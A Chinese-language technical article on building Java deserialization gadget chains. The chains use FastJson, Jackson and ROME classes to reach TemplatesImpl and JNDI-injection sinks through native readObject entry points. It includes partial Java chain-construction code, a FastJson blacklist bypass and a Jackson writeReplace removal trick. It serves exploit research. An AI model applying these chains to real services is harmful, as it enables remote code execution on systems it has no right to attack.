利用特殊反序列化组件攻击原生反序列化入口技术分析
前言
本文探讨如何利用特殊反序列化组件(FastJson、Jackson、ROME)攻击Java原生反序列化入口(Serializable接口)。这种攻击的本质是将这些组件中的类拼接到反序列化利用链中,目标是Serializable入口而非特殊反序列化入口本身。
攻击原理
特殊反序列化组件在实现自己的序列化逻辑时,会调用目标类的getter方法:
- 这些组件的类(如JSONObject、POJONode、ToStringBean)重写了toString方法
- 在toString方法中会调用目标类(如TemplatesImpl)的getter方法
- 目标类被放入这些组件类中(如
jsonObject1.put("g",obj)或new ToStringBean(obj.getClass(),obj))
关键点:
- 目标类getter包括:
TemplatesImpl#getOutputProperties、LdapAttribute#getAttributeDefinition、JdbcRowsetImpl#getDatabaseMetaData - 因为是原生反序列化攻击,所有利用链上的类都必须实现Serializable接口
利用链分析
readObject() -> 任意类toString()
1. HotSwappableTargetSource & XString
依赖SpringAOP,测试代码如下:
Object templatesimpl = null;
JSONObject jsonObject = new JSONObject();
jsonObject.put("g","m");
JSONObject jsonObject1 = new JSONObject();
jsonObject1.put("g",templatesimpl);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(v1,v1);
hashMap.put(v2,v2);
setValue(v1,"target",jsonObject1);
调用栈:
XString#equals中调用obj2.toString()obj2即HotSwappableTargetSource中的templatesimpl对象
2. BadAttributeValueExpException
JDK原生可用,直接调用内部对象的toString:
Object tpl = null;
JSONObject jsonObject = new JSONObject();
jsonObject.put("gg",tpl);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,jsonObject);
3. EqualsBean
依赖ROME(1.12.0之前版本可用):
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
Object templatesimpl = null;
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
Field field = toStringBean.getClass().getDeclaredField("obj");
field.setAccessible(true);
field.set(toStringBean,templatesimpl);
toString() -> sink
1. TemplatesImpl#getOutputProperties
JDK原生可用,经典CC/CB链中的利用方式。
2. JdbcRowSetImpl#getDatabaseMetaData
JDK原生可用,实现JNDI注入:
JdbcRowSetImpl jdbcrowsetimpl = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:10990";
jdbcRowset.setDataSourceName(url);
3. LdapAttribute#getAttributeDefinition
JDK原生可用,实现JNDI注入:
Object obj = newInstance("com.sun.jndi.ldap.LdapAttribute", new Class<?>[]{String.class},"id");
setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:13562");
setFieldValue(obj, "rdn", new CompositeName("whocansee"+"//b"));
序列化逻辑分析
FastJson
黑名单检查与绕过
FastJson 1.2.49+在JsonObject的readObject方法中会进行checkAutoType检查。绕过方法:
HashMap hashMap = new HashMap();
hashMap.put(tpl,poc); // tpl是目标类对象,poc是入口类对象
原理:序列化时先建立外层Map中目标类对象的引用映射,反序列化时恢复JsonObject中的目标类对象会以引用类型写入,绕过resolveClass检查。
默认构造方法的必要性及其破除
当目标类不存在默认构造方法时,会报错。解决方法:
- 引用类型绕过(同上)
- 缓存:利用FastJson的缓存机制,提前将类加入缓存
Jackson
getter调用顺序不稳定
Jackson在调用getter时顺序不稳定,可能导致在调用目标getter前就报错。解决方法:
- 使用
@JsonIgnore注解忽略无关getter - 使用
@JsonPropertyOrder指定getter顺序
删除writeReplace方法
Jackson的POJONode类有writeReplace方法,会导致序列化报错。解决方法:
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
ROME
TemplatesImpl利用
ROME结合TemplatesImpl时,可以指定从接口获取getter:
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
JdbcRowSetImpl利用
ROME可以结合JdbcRowSetImpl使用,因为getter调用顺序随机,有可能直接调用到getDatabaseMetaData()。
LdapAttribute利用问题
ROME无法结合LdapAttribute使用,因为LdapAttribute的get方法会导致PropertyDescriptor报错。
1.12.0后的修复
1.12.0版本后:
- 构造方法改为private
- toString方法改为静态方法,需要传入beanClass和obj参数
这使得攻击难以实现。
工具实现
所有payload可在ysomap项目中找到。
参考
- FastJson与原生反序列化分析文章
- Jackson getter调用顺序问题分析
- ROME反序列化利用分析